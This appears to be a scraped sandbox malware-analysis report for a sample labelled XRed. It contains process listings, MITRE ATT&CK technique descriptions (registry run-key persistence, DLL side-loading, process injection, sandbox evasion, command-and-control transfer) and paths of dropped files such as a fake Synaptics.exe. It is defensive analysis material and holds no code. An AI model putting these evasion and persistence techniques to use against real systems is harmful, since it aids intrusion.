Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x650000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	05:24:56
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 6328
Imagebase:	0x340000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:25:32
Start date:	15/11/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff712f20000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Dzsb.Qyd.Install.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: XRed

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_348ac1a0e27e10257094c0b0d8fb7ab45be575f_455b7b6e_34418e79-a31c-466c-bf71-dfae388c3088\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_42a5b175d638db45a25b5883a74cc3f4b3b9e12_455b7b6e_3fb18f93-5a95-4c72-812e-9429789fdca8\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B4A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2453.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2473.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2B52.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3798.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER37B8.tmp.xml

C:\ProgramData\Synaptics\RCXE0B2.tmp

C:\ProgramData\Synaptics\Synaptics.exe

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\215HcxJ.ini

Windows Analysis Report
Dzsb.Qyd.Install.exe